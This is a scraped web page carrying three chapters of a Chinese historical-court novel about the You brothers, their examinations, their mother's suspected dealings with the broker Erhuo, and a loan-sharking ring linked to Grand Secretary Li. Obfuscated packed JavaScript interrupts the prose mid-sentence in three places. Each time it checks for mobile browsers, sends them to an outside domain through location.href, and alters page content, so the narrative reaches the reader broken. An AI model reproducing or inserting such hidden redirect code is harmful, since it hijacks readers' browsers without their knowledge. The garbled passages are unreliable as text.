游乘亦有疑窦，此行陪同母亲，首先是保护，其次也想近距离监视母亲与尔惑，看看尔惑对母亲安了什么心。 32. 院试放榜 千家胡同的房牙行前堂，容芝与命生说起，秦七公子外任江陵，正急着卖宅。命生倒愿意回收那宅子，遂提出二千两银子的价钱。 容芝想起之前卖给秦家的三进宅子，也才是一千两。如今还是同一间宅子，变旧了，损耗了，价钱却直接翻两倍。她只觉，尔惑先生对秦家下了血本。 可再一想，前日工部尚书秦舒，以身作饵，故意挑起内阁内部矛盾，使得内阁首辅李经章不堪重压，头疾复发，托病离了上京，让上京的天都亮了起来。秦舒帮了皇帝、尔惑的大忙，尔惑拿点钱补给秦家，无可厚非。 说不定，这一千两就是皇帝借命生之手，送秦家的。 容芝道：“没问题，妇是中间跑腿的，价钱方面，尔惑先生定便是。” 命生让她稍等，去里间取银票，没一会却端了一壶茶出来，解释，他竟忘了银票花完，要回内城的银号一趟。 容芝不急一时，留下来等，自斟自饮的同时，也想起带来的俩孩子。 她走去店外的马车边，喊了两声“乘哥儿”“余哥儿”，里面无人应答，一掀布帘，哪里还有俩孩子的身影。 孩子们年纪不算小，尤其游余的脑子机灵，被拐子拐走的可能，几乎为零。那便是去某个地方玩儿。游乘一向是有分寸的，兴许再过会儿，带着游余就一块回来了。 如此想着，容芝放了心，又走进房牙行的门，坐下继续喝桌上那壶茶，顺便欣赏一下挂在墙上的众多团扇。 那些团扇的制作工艺当真精美，但在表象之下，它们似乎被分成了三个区块，或者该说……分成了三大阵营。 只见墙上左侧贴有细小的木牌，上面写着“李”。 右侧也贴有一枚木牌，写着“袁”，“秦”，“杜”。 袁家，是指刑部尚书，内阁次辅，袁至诚。 秦家，是指工部尚书，阁臣，秦舒。 “杜？”容芝想起原著中的几个上京大世家。 姓杜的，只有吏部尚书，杜乔羽一家。 她没想到，吏部尚书也是袁派一党。 难怪之前游家几兄弟被吏部九年考满，虽说过程曲折，最后也都拿到了“称职”的考评，得到晋升。难说这其中，没有吏部尚书杜乔羽的托举。 不过这也好理解，毕竟杜乔羽和工部尚书秦舒，有五年同窗之谊。二人一堂为官，岂有不帮自己人的道理？ 容芝打住心绪，再看墙上的团扇，除却左、右，竟还有好几枚摆在中间。 依次往下的木牌写着，“刘”，“游”，“谢”，“司”。 刘家，是指都察院左都御史，刘钦。 谢家，是指兵部尚书，谢岗。 司家，是指户部尚书，司属。 这几人中，谢岗和司属，皆是阁臣。 据游怜山转告，那日被关在内阁值房，紧急商议湖西道修河款的阁臣，就有户部尚书司属。兵部尚书谢岗正在西南剿匪，没在上京城，便没参与那日内阁商议。 他们几家被摆在中间，意思是……站位尚不明确么？ 容芝托着下巴，站在这几面团扇之下，隐隐有种预感。尔惑先生在布一盘大棋局，而她的公爹游仁泰，虽与敌对阵营的李经章牵连复杂，却还没被列入敌对阵营，暂时属于“待考察”之列。 与此同时，房牙行的内院。 游余找不到茅厕，急得脸都涨红，“哥，我不行了……” 游乘摁住他解腰带的手，温声劝，“再等等！咱们在外作客，不能失仪！” 道理在，但人有三急。 游余捱不住痛苦，猛然甩开了游乘的胳膊，一溜烟进了一丛花叶后，正欲解带，却瞧见面前是一片湖，湖中有一亭，亭下有一人，在抚一把仲尼琴。 “求哥哥转个头！快快快！” 游余冲那亭中的人喊道，只敢压着嗓子。 游乘慢一步赶到，见事情已然来不及，只好跑到游余前头，张手替自家弟弟遮挡。 然而这么一来，他便与亭中的抚琴人撞个正脸。 远远瞧着，抚琴人戴半扇面具，光天化日，神神秘秘。 “二位公子，请自便！”面具人大笑两声，背过了身。 游乘面羞也顾不得，只回，“多谢哥哥体谅。” 又催了催身后的游余，“完事了么？” 衣料窸窣，游余长叹一声，“完事了，幸亏有哥哥。” 游乘赶忙说，“停！别在我袍子上擦手！用湖水洗，也好……” 湖边铺有鹅卵石，游乘拽着游余的后领，等他净了手站起来才松开他。 兄弟二人沿着小道，来到湖中的亭下，齐齐躬身，给刚才的面具抚琴人行礼。 游乘恭敬道：“对不住您，污了您的眼！方才事出紧急，还请您海涵，不要与家弟计较。他，年纪小。” 游余附和，“请您海涵！” 面具人这才转过身，看他二人的眼神认真无比。 须臾，笑道：“可是游家的公子们？” 游乘微怔，“是游家的，吾是游介舟，他是游彦维。” 面具人点了点头，“原来，早听大夫人说起二位小公子，今日终于一见，果然少年英姿！” 什么英姿。 游余的面色狠狠一红，“还不知哥哥是何方神仙？竟大白日戴着面具？” 面具人做个请，示意他俩先坐，却没有摘面具的意思，只把一旁的仲尼琴摆正，重新弹一曲《秋江月》。 一曲结束，游余睁开欣赏的眼睛，赞道：“哥哥琴技，堪称一绝，胜过我家尊师！” 面具人道，“二公子的尊师是袁敞先生？袁先生的琴技，风骨胜上仙，某便不敢当公子刚才的谬赞了。” 又转头，对上游乘的盯视，摸着面具，道：“大公子在某脸上看出什么？” 游乘回过神，缓道，“难道哥哥是这房牙行的东家，尔惑先生？” 游余一听，也是一惊，“对，娘今日来此，便为了见尔惑先生。可你偏躲在后院，躲着我娘，只让命生掌柜接待我娘……先生为何如此？” 尔惑被识破，微微一愣，却道，“公子莫要误会，某不见令慈，正是怕被人误会。” 他话音刚落，游余上前两步，“先生说的不对。您若真怕误会，便不该与我娘来往过密！更不该送她团扇、桃花酥之类的暧昧礼物！” “团扇，桃花酥？”尔惑沉默着，看了看游乘。 游乘亦点头，“吾弟并没诋毁先生，那日命生托我带给母亲的，正是团扇与桃花酥。” 尔惑也想起来，喃道，“命生竟然找大公子帮忙？” 游乘记得很清楚，“母亲收到先生的礼物，爱不释手，想来，先生与我母亲……来往互赠过许多礼物吧？” “有一些，但——” “先生之心，晚辈听懂了。” 游乘给尔惑拱礼，道：“有些话，本不该由晚辈提醒，可容氏是我与弟弟的母亲，是我父亲的结发妻，晚辈作为长子，无法不说。再则，尊师袁公曾有文章写道，‘干父之蛊，意承考也’。故而，今日哪怕要冲撞母亲、冲撞先生，晚辈也必须劝说先生两句！” 尔惑松开手中的琴弦，好奇地皱起眉，“大公子请说。” 不等游乘开口，游余拉住哥哥，“哥，此等事你不要出面，交给我便好！” 游乘还欲争一争，被游余推到身后去，只来得及叮嘱游余，“娘说过，不可怠慢他，你嘴下饶人吧。” “哥放心，我肯定给他留情面。” 说着，游余直接坐到尔惑的旁边，将桌上的琴挪到一边，歪头问，“先生您可知，我娘已年过三十，半老徐娘了？” 尔惑想了想，“某所营之事，年纪小反而不行。” 游余回头看看游乘，浓眉皱紧。 游乘见了吐出一口气，却不得不认同尔惑之言，确实，年纪太小不太行。 游余：“我娘膝下有俩儿子，日后就算她离开游家，我与哥哥也会紧紧跟着她。” 尔惑似是赞许，“女子本柔，为母则刚！” 游乘听着心下一惊：这是已经盘算好，若他母亲不从，要拿俩孩子的前途威胁母亲？简直，荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092245|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐至极。 游余：“还有，我爹很爱我娘！” 尔惑忙抬手，对着上京内城的东面拱了拱，“游侍郎与夫人，伉俪情深，某甚为羡慕！” 所以，内心扭曲，更想夺人妻…… 几番言辞来去，让游乘越想越可怕。 他担心游余再说下去，彻底刺激尔惑露出恶意，今日他俩是难以活着离开此地了。 游乘拉游余的袖子，“对牛弹琴，多说无益，咱们走。” 游余离开前，回头瞪一眼尔惑，“你这人怎么说不听？我不费口舌与你闲扯，自己好好想想吧！” 到马车上，兄弟俩仍是满腹愤懑，都想不通，母亲为何结识了这样厚颜无耻之徒。也都在想起家中的父亲时，相顾无言，垂头丧气。 游余欲哭无泪，“咱爹好可怜。他官场再得意，又如何？妻子和家，都要没了！” 游乘捏紧拳头，“父亲公事忙，咱们更要帮他看好家，看好娘，决不可让厚颜无耻之辈钻空子。” 兄弟俩正商量该怎么做，马车布帘被掀开，容芝满面笑意地坐进来，撞着两张愁苦的脸，忙问二人是否被人欺负。 游乘摇头，叹气。 游余犹豫半日，捧住母亲容氏的脸，母子对视，“娘！儿子接下来讲的话，若有冲撞，也请您包容。” 容芝应下。 游余长吁，终于把那句最关心的问了出口，“您是不是变心了，不再喜欢爹了？若真是如此，您也不必隐瞒。我与哥哥已懂事，您只管直言便是。无论您有何打算，我与哥哥都可以承受。” 容芝挠了挠眉头，笑道，“此话，又从何说起？” 游乘一听，也凑近容芝，“纸包不住火！事到如今，您何苦还瞒着我与弟弟？” 容芝眨巴眼睛，“怎么？我都不知道我藏了火。” 游余一把抱紧容芝的脖颈，“娘！您有多了解尔惑呢？您也没见过面具之后的他，若他的真容……奇丑无比，您能忍受与他成为夫妻，日日相对？” 容芝急道，“你小子说的什么浑话？我几时说要和离，要另嫁？” “娘不想和离，也不想另嫁？” 游余一边确认自己没听错，一边与哥哥游乘交换眼神。 顿时游乘也抱上来，把游余和容芝一起抱住，“不论娘做何决定，娘去哪儿，我只跟随娘。” 游余附议，“我与哥哥一样，只跟随娘。” 游乘又道，“但是，父亲一人过余生，会不会很惨？” 游余道：“哥，你到底选谁？” 游乘不改了，“我选娘！” 小子俩的胡言乱语，直把容芝听得笑不停。 她想起了上辈子与游怜山的失败婚姻，那个不小心流产的孩子，不觉悲从心来，鼻子发酸，哭出了声。 “娘不和离，也不改嫁，”容芝抹了泪，吩咐车夫赶路。 游余趴在她怀中，这时仰头道，“娘的话，一辈子算数么？” 容芝亲他的发顶，“不止这辈子算数，下辈子，下下辈子，若我们还有缘分做家人，就一直算数。” 娘的许诺，被游余转告给父亲游怜山。 彼时，游怜山刚下值回了东园，正坐着喝口茶，听他小子这般一说，握着茶杯，面色犹疑，半日，才摇摇头。 游余从南屋拉来哥哥游乘，“爹不信，可问一问哥哥。” 游乘道，“对，我作证，娘亲口说，一辈子不与您和离，也不改嫁。” 谁料游怜山放下茶杯，笑道，“瞧你俩胡说的！和离什么？我与你们母亲感情好着呢。” 有关爹娘要不要和离的猜忌，暂且告一段落。 兄弟俩在两个月后，参加顺天府主持的院试，再拿下完美一战。游乘稳居榜首，榜二变成赵决。游余、刘与之落在了榜三榜四，仍是上京读书人心中被追随的模范。 放榜当日，游乘游余一同去了尊师袁公家中报喜。 师母笑逐颜开，在厨房忙活午膳，兄弟俩照例推开了书房门。 “介舟？彦维？”棋盘边的男子喊道。 33. 乡试前夕 起身开口的，正是顺天府尹郭敏。 数月不见，游乘仍记得上回在尊师袁公家门前，郭敏对他与弟弟许诺：有他在，府试阅卷就出不了乱。 眼下游乘兄弟二人不仅冲过府试，又冲出院试重围，其中艰险程度几多，游乘心知肚明，对郭敏的为人为官产生更深的敬佩。 “郭师兄！”游乘眼眶湿润，兄弟俩一同拱礼。 郭敏扶起他俩，“咱们同出一门，且二位已获得秀才功名，便更要免去这些繁礼。” 此言提醒了游乘，他拉上弟弟游余，先到尊师袁敞跟前，深深躬身，感谢尊师素日的严格与耐心。 袁公点头赞许，一把扶起了游乘，说他没辜负厚望，但轮到游余时，袁公面色明显一冷。 “袁公，此次院试彦维落至第三，输给混迹胡同的小子赵玄蒙，是彦维技不如人，彦维甘愿受袁公责罚，”游余颔首道。 袁敞听了便说，“考前你自己定下榜二的目标，没完成，确实要罚。老夫以师门规矩，罚你多写二十篇文章，你可能接受？” “二十篇？”游余不免愣住。又不是抄书，他构思文章，极费精力，写成一篇，最快也要半月，哪怕日日不休，连续不断地构思，写完二十篇也要花去十个月，“袁公不怕耽误彦维科考么？” 游乘离弟弟稍近，听他不同意，给袁公拱一礼道，“老师罚得意义长远，弟弟的犹豫，也是考虑他自身的实力，担心完不成。可是弟弟别忘了，院试到乡试，不是你想考就能考，还要看礼部的统一安排。” 他说着，拇指与中指轻捻了捻，快速算好了乡试的年份在两年后，“袁公给弟弟二十四个月，写二十篇文章，已经很宽松了。在考前多练文章，根本不能称之为处罚，倒不如说是给弟弟开小灶吧！” 游余明白了袁公的用意，亦是拱礼，“多谢尊师对彦维的不离不弃，始终如一。” 袁公笑着捋长须，对游余招手，让他坐去身边，一道下这一盘棋。游余便推了推哥哥游乘，“我和袁公联手，郭师兄哪是对手？哥哥去帮郭师兄看看！” 游乘搬来椅子，挨在郭敏身侧，“介舟棋艺不精，向师兄多多学习了。” 郭敏却给游乘做个请，“介舟太自谦。早听袁公夸赞，介舟通晓《易经》，下围棋更是高手，不妨这一盘由介舟执棋，我便乖乖到一旁观摩好了。” 见游乘为难摇头，袁公也请了他一次，他只好却之不恭，坐在郭敏位置上与袁公对弈一局。 这一盘的局势好不紧张。 郭敏看得口干舌燥，正要去后院讨茶水，游余先跑了出去，端壶茶进来。他给尊师袁公敬茶，又给郭敏献上一杯，郭敏推托，指了指游乘额上的汗，让他先送到游乘手边。 “哥，赢得不轻松吧，”游余边为游乘擦汗，边递上温茶。 游乘看他一眼，“我已经赢了？” 游余嗯了声，拿起尊师的白子，在满满当当的棋盘上比划，半晌，愣是没找出一个能落子的活口。他把白子扔回棋篓，对袁公笑道，“老师，您又给哥哥让手了，对不？” 袁公笑而不语。 游乘忙顺着这话，给袁公施了礼，“谢谢老师不吝赐教！介舟这就把今日的棋局誊画下来，带回家，仔细研究。” 这一幕，被一旁的郭敏看得明明白白，心说：这小师弟游介舟，才年十四，却棋艺精湛，谋算过人，品行端正，谦虚谨慎，还生了一副少年老成的面相。老师袁公讲的不错，等来日科举及第、入仕，这位游介舟必是国之大才。 午膳后郭敏的顺天府衙有公务，需即刻赶回。游乘和游余拜别袁公和师娘，跟在郭敏身后走出了袁府。 门房对游乘行礼道：“恭喜两位公子院试高中。” 游乘回礼。 前面要上马车的郭敏回过头，“介舟？还有事？” 游乘让弟弟游余原地等，他快步跑向郭敏的马车，“请借一步说话。” 一回生二回熟，游乘开门见山，向郭敏致谢，感谢他在府试、院试的暗中相助。 郭敏思忖片刻，了然道：“介舟谢我，怕是谢错了人。” 游乘以为郭敏在客气，忙摇头，“师兄，科场的险恶，介舟是明白的，如果没有师兄镇场，我、弟弟、赵决的名字，绝不会出现在榜单上，更不可能出现在前三。” “赵决……”郭敏微一想，笑道，“不，还是错了，真正帮了你们三人的……另有其人。” 这话中的“人”，究竟是谁。 直到游乘回了侯府，仍没想通。他在侯府门前下马车，门房上前道喜，他拿出备好的碎银子，一一打赏。等兄弟俩过了门槛，门房追上来，递出一封信，说是工部尚书秦家送来的。 游余凑近一看，见信封上写着哥哥“游乘”的名字，便自觉退开，一蹦一跳朝长房东园跑去。 落在后面的游乘拆开了信，得知是秦家七公子写的，字句间全是对母亲容氏帮忙张罗，以高价卖出旧宅的感激。他合了信，只觉秦七公子办事甚是妥帖，知道男女有别，不好直接写信给侯府的女眷，假借他这个男丁之名，转达情谊。 一瞬间，游乘想起那千家胡同的尔惑先生，不若，下次母亲再要去见尔惑，他自告奋勇替母亲去跑，有什么话，也由他来传达给母亲。 边想着，游乘走进东园的门。 阿桔说摆好饭菜，让他快净手去吃，“谁的信？” 游乘道，“秦七公子，均哥哥。” 阿桔听他这一声哥哥，笑道，“我看啊，您这张嘴，往后肯定比余哥儿还甜！” 游余坐在正堂里扒饭，便没听见这一句。 游乘一笑，把信交给阿桔，弯腰洗手，却听阿桔说：“秦七公子把‘乘’写得真好看。” “有我的名字？” 游乘擦了手，拿回那封信，看着阿桔指着的几行，的确提到了他。怪他刚才没注意，这时他再从头看一遍，才发觉秦七公子秦均要去江陵府赴任，明日便离开上京。 江陵府，地处中部，据说离上京有二千多里路，中途经过南阳府一带，常有盗匪，秦七公子虽有官任在身，携家带口，乘一个月的马车，是无比艰险的。 “哥，均哥哥说什么？”游余抓着煎饼跑来。 游乘无意隐瞒，“均哥哥明日去江陵。” 游余傻愣愣地想了想，“外任吗？咱们明日送送他，此一别还不知什么时候再见了。” 游乘道，“别悲观，终会再见，秦家不可能让均哥哥在外受苦。” 游余举高自己的煎饼，给游乘咬一口，“成，且翘首以盼吧。说不定，等咱俩考中状元，均哥哥就从江陵回京了。信里说明日几时走？” 游乘折起信，“日出时动身，但我正好有事去不成，你代我去送均哥哥。” 他的心虚看在游余眼中，便机灵道：“哥是不是怕见到秦九姐姐？” “我没有，”游乘坐在桌边，拿起筷子。 游余挤到他旁边，趴在桌上，望着他笑道，“其实哥哥不必害怕，九姐姐见了哥哥肯定高兴，毕竟是你助她摆脱刘家的婚约大坑，挽救了她！” 游乘没搭理，只管埋头吃饭。 隔日，天将明，游乘睁开眼，见同屋的弟弟已不在，慢慢地起床梳洗。 正堂里点着蜡烛，父亲游怜山与母亲容氏都在，桌上的碗筷一共有四副，看起来，弟弟游余应是刚离开不久。 “弟弟他……”游乘忍不住打听。 游怜山嘴里咬着饼，话音含糊不清，“在蹲茅房！算一算，快回了吧。” 游乘听了莫名松口气，“他小子，再不走要赶不及送秦七哥哥离京的。” 游怜山微怔，仿佛才想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098015|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，“对，秦七今日走。一会你俩坐我的马车走，捎你俩一脚。” 游乘道，“好吧。” 天光微曦，出城的关口已热闹起来。 秦家马车停在城墙下，游乘缓步走近，见秦七公子正从九妹妹秦徐手上接走一只大包袱。 许是那包袱太沉，秦均一时没接稳，差点连人一起歪倒。 游余上去搭手，顿时喊道，“老天爷！九姐姐偷装了多少金子啊！竟死沉死沉的……” 周围民众望过来，秦徐只臊着脸，小声怒道：“游彦维，少开点玩笑，成不？如今我家穷得，快揭不开锅了，还藏金子呢！” 游余帮秦均放好了包袱，看向秦徐悻悻道，“九姐姐才是开玩笑吧，堂堂工部尚书府，你和我说，你家快揭不开锅？” 秦徐努努嘴，没再多言，低头坐在了七哥的马车边，大眼睛看着自己的鞋尖，湿了的睫毛更显可怜。 游乘悄悄挨近，“九妹妹，真碰上了难事？不妨说出来，我与妹妹想想办法？” 秦徐吸了吸鼻子，直摇头，“……爹不让我告诉你。” 这便真是与他有关了。 游乘看一眼弟弟游余，兄弟俩一左一右坐下，游余歪着头，喊声“九姐姐”，秦徐仍摇头不肯说。 “算了，事情迟早要被你俩知道。” 说话的是秦七公子秦均，他高鼻宽额，又是考科举入的仕，在上京世家子弟中的名望颇高，此次远任江陵，虽说是父亲秦舒的安排，他得知后却没有抱怨一个字。 游乘见他要开口，体贴道，“哥哥若有顾虑，便由介舟来发问，哥哥只需回答‘是或不是’，免得日后哥哥被秦公怪罪。” 秦均应了“好”。 游乘立刻问，秦公是否被朝廷罚了年俸。 秦均说是。 游乘沉默地垂下脑袋，“原来你家是被介舟连累了。” 此言一出，原本沉默的秦徐忙说，“不是的。我爹受罚，是因为湖西道的河工讨工钱闹事。” 游乘愣了片刻，看向秦徐，“修河款，工部可向户部支取，此等利民的大事，不该拿不到钱。” 朝廷事务，秦徐一个女眷，只了解皮毛，再往深处就要求助于七哥秦均，“七哥为介舟解释？” 秦均请几人上马车，花一盏茶的工夫，说明了数月前发生在内阁之中的那场暗斗。在袁、秦几位阁臣的忽悠下，首辅李经章捐出二万两银子，急供湖西道修河，看似心怀大爱，实则这笔钱是他左右手的捣腾。 游乘大悟，“户部给湖西道修河的银子，被湖西道的漕运总督扣了，进献给了李经章？” 秦均笑道，“介舟聪明，但，此事你最好烂在肚子里，不可往外说。” 游乘明白，“李经章能坐上首辅之位，手中掌控的，绝非这一桩差，没拿到十足的证据，任何贸然行动，都是打草惊蛇。” 游余也答应保密，又想起赵家的另一件事，不觉一惊，“哥，你说赵斯哥哥的死会不会和李经章有关？” 游乘稳住他，“推测合理，但你不可告诉赵决。他性刚烈，若得知杀兄仇人是李经章，必定找去偿命。” 出马车时，游乘翻开刚才抬上车的大包袱一角，见包袱里装的全是硬邦邦的干馒头，直想痛哭一场。 游乘抹去泪，把自己与弟弟身上所有值钱的银两、玉佩，合计在一起，约莫可换百余两银子，都塞到秦均哥哥的手里。 “此去江陵，二千里云和月，请哥哥嫂嫂侄儿珍重。介舟与弟弟，于上京日日盼望归来！” 马车远去，尘土扬高，天地的尽头模糊成一片。 游乘久久躬身，忽听身旁秦徐在小声哭。他抬起手，又放了下来，只轻轻地安慰道，“来日方长，有缘之人定会重逢！九妹妹，别太难过。” 两年后，乡试到来。 34. 乡试前夕2 八月初七，放鹤楼门口。 游乘从商摊买来四串炸蚱蜢，分给刘与之、赵决和弟弟游余。 除了赵决，其余几人皆是第一次品尝此物。别看它色泽金黄，实际味道辛辣又呛口，游余风卷残云吃完一份，直呼“喝水”，跑向马车找虞次要水袋。 看游余大口灌水，刘与之乐得站不直腰，尽管他自己也被辣得不停以手扇风。 相比之下，游乘才吃第一只，忙劝刘与之慢慢吃。 一旁的赵决听了，大笑道，“慢慢吃，多扫兴！子应还打喷嚏、发着热，更应该抓紧吃完，等出了汗，病便能好一大半。” 刘与之刚点头认可，又打个大喷嚏，这下，炸蚱蜢的辣椒粉呛入他的肺，辣得他流出了泪。 游乘忙递出自己的水袋，“子应如此难受，其实不必应约出来听戏，在家中多休息，才是。” 刘与之摆手，“我这病每年发作，不独今年才有。没事的，我与大家一块儿玩闹说话，比在家闷着好。” 既如此，游乘没再劝他。 几人跟在赵决身后，走进了放鹤楼。只见里面早已人满为患，一位伙计上前，熟稔地与赵决打招呼，也没问什么，直接领着上了二楼雅间。 这雅间正对戏台，视野极好。 没一会，果盘、糕点、茶水一一送来，伙计躬身道：“公子们好好听戏！有事儿，再叫小的！” 游乘见弟弟在看桌上的点戏牌，忙一把拿来，先看了遍确认戏目简介，才还给了弟弟。 另一边，刘与之正用帕子捂鼻。他脸颊泛红，和发热症斗争着，游乘倒了杯温茶，“子应，多喝热水。” 不等刘与之接住，那杯茶被赵决端走，仰头喝尽。赵决重新倒一杯给刘与之，起身，拉着游乘一起靠在栏杆前，指了戏台上，小声对游乘道，“今日这出戏，介舟一定要好好听！” 游乘疑道，“为何？” “因为……” 赵决正要开口，忽听雅间门外传来一声呵斥，“狗攘的！” 这一声，游乘听着甚是熟悉，他忙摁住赵决的胳膊，去拉开了雅间的门，见那门外有书生模样的男子被踹翻在过道里。 “住手！”游乘想也没想，冲去拦在那穷书生身前，仰头看向抡起胳臂的彪形大汉。 大汉恶声恶气地挥动拳头，“哪个不知死活的？” 游乘扶着倒地的书生一同起身，反问那动手的大汉，道：“光天化日，你以强欺弱，当众殴打，到底谁才不知死活？” 大汉嘴里低骂，这时一旁的同伙在他耳边嘀咕几句，大汉脸色登时一变，双手抱拳，道：“不知是游家大公子，请公子见谅！” 游乘道：“知道我是谁，还不速速离开？等着被我扭送报官么？” 大汉却笑道，“不是不给大公子面子，只因您身边那家伙……他欠钱不还。若今日讨不到利息，小的对东家，不好交代啊！” 闻言，游乘转头问被打得鼻青脸肿的书生，“兄台，不必害怕，只管告诉某实话。若他们恶意谋害你，某给你作证，咱们去报官。” 书生擦一把嘴角的血，“我、我……” “齐兄？”这时，赵决认出这书生，“你怎这副模样？” 游乘想起之前在顺天府贡院碰见的齐姓士子。他们几人正是从那人口中得知了放鹤楼，近两年，将放鹤楼当做了隔三差五的散心、聚会之地。 “玄蒙兄，”齐姓士子叹气道，“没想到与你这般模样碰面，真是羞惭。” 赵决叹道，“咱自小相识，你什么样儿我没见过？” 说着，他看向那几个彪形大汉，“欠钱，还钱就是，你们且说个数。” 大汉比出三根手指，“这位公子爽快，他本月的利息是，三两。” “这么多？” 游乘掐指，边算边说，“按本朝银号借贷的最高利率，三分（3%），难道……齐兄向你们借了一百两？” 齐姓士子忙拱手，“不是一百两，只有二十两。” 游乘不觉一惊，“本金二十两，月利息三两？敢问壮士，是哪家银号的？” 那几个讨债人顿时大笑，为首的大汉道，“劝公子少打听了吧，若公子无意为朋友还钱，就请将他交给我等处理。” 见对方来捉人，游乘把齐姓士子推给近旁的赵决，“玄蒙，你带他去医馆治伤，这里交给我。” 赵决护住齐姓士子，与游乘附耳，“介舟，此地不是内城，劝你别来硬的。如果真想帮忙，给钱就行。” 游乘道，“我明白。” 出了这样的事，戏是听不成了的。 赵决回雅间，向游余和刘与之简单说明情况，刘与之想留下，被赵决否决。过两天就是乡试，他们等了两年才等来，绝不可因受伤而误了乡试。 游乘站在二楼窗口，看他们上了马车才收回目光。 他继续和面前的收债大汉周旋，“壮士究竟是哪家银号的？” 大汉捏得指节嘎吱响，“是不是小的不说，公子就不还钱？” 游乘硬道：“某是此打算。” 大汉只好抬手指着身后的雅间，“就是放鹤楼！” 原来，放鹤楼除了是戏院，还干印子钱的勾当。 游乘带的钱不多，也够二十两，但他不想白白给出去，便又问道，“你说齐兄借了二十两，按合法的三分（3%）月利，是六百文。喏，这是一两银，你手下，得找回我四百文。” 一块碎银落入了大汉的掌里。 大汉握紧银子，阴恻恻道：“公子心善，愿帮那借钱的书生，为何不愿帮小的？小的说了，拿不到三两银，没法给东家交代！” 游乘摊一摊手，“我只有这些，不信，你自己搜？” 谅他一个市井混混，再穷凶极恶，也不敢对侯府的人动手动脚。 见那人狠狠咬牙关，扔回一串铜钱，游乘接住，大致一数是够数的，便大模大样抬步从二楼跑下去。 因刚才一场冲突，一楼聚满了看热闹的。 游乘目不斜视，一口气跑出了放鹤楼的大门，正要招手请马车回家去，听见虞次从转角后跑了上来。 “解决了？”虞次扶着游乘的肩膀，上下打量他。 游乘点头，“不过我赔了一两银子。” 虞次来牵他的手，“只要人没事就行。” 游乘却说，“那如果，叔知道这放鹤楼在放印子钱，您还会说‘人没事就行’的话么？” 虞次听言愣住，回头看向放鹤楼，“印子钱？” 游乘说，“而且他家月利远超律法规定的三分，达到了一钱五分（15%）。” 霎时，虞次面色大变，“如此大胆……高利息房贷，生意违规，只要上京商行出面，查一个，死一个！” 游乘低头走得慢，“可我听着他们的口气，好像不忌讳本朝律法，只怕，放鹤楼背后有人撑腰。” 这背后之人是谁，不可在街上乱说，疑问被游乘压在了心底。 回马车上，没见赵决和齐姓士子。 游余说二人在医馆治伤，游乘才安了心，他怕弟弟追问借贷之事，先发制人让他什么都别问。 眼下是听不了戏了，游乘提议去逛自家的不足斋，各自买点纸墨、书卷就回家了，两天后，贡院见。 入夜，送刘与之回到刘府，游乘再三叮嘱他好好养病，千万别耽搁了乡试，刘与之连声应好。 马车停在司宁侯府门前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105067|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游乘向门房打听，赵决是否已经回来？门房摇头，说没见赵先生。游乘听了这话又不放心，让门房回东园报母亲，说兄弟俩已到家，但还有些事处理，稍后才能到东园。 不多时，门房从东园带来夹肉煎饼。游乘和游余就着温茶吃下肚，也等来了赵决，一问才知，白天碰见的书生名叫齐橡，是小额借贷的常客。 “齐橡借钱，一般干什么用？”游乘递给赵决一杯茶。 赵决正渴，一气喝完茶，“他是赌坊和青楼常客。” 言外之意是，游乘不该帮那个齐橡还钱。 游乘说，“本以为他借钱是为参加乡试，我知道了他的为人，帮他一次，下次不帮了。” 赵决叹道，“只可惜了介舟的一两银子。罢了，当花钱买教训，下次助人，先弄明白对方的底细。” 游乘笑了笑，“可是，事出紧急，哪儿容我细究？” 赵决想起放鹤楼，“我走后，介舟可打探出什么？” 游乘心下正盘算，该向谁商议印子钱的事，这会儿赵决问起来，他便让几个门房走远些，与赵决凑近道，“玄蒙是否早知道，放鹤楼在放印子钱？” 赵决闻言微怔，“……他们告诉你，是放鹤楼？” 听他这般警惕的口吻，游乘顷刻就懂，“难怪两年前，玄蒙不愿带我们去那里，也正如玄蒙所担忧的，那儿的情况确实很复杂。” 赵决道，“介舟既已知它的复杂，咱们日后再不去了，以免被那群凶悍之徒纠缠，引火烧身。” 游乘却看着赵决，“但我这脾气，做不到视而不见。我还想问问玄蒙，可知道放鹤楼的东家是谁？” 赵决只是摇头。 游乘心意已决，“玄蒙不肯说，我只好去千家胡同找齐橡。若我答应帮他还二十两的本金，他必愿意说出我想知道的一切。” “好吧！”赵决被逼无奈，用手沾茶，在桌上写字。 游乘仔细一看，他写的，分明是个“李”。 “放鹤楼的印子钱营生，又和内阁首辅李经章有关？”说话的是一直沉默的游余。 赵决揪住他说的“又”，皱眉道，“不对劲……你俩是否瞒了我什么大事？” 游乘拉住游余，对赵决摆手，“绝没有！上京城的百姓都传言，说首辅李经章做了不少恶，一贯的名声不好，所以弟弟才有此感慨，玄蒙不要多虑。” 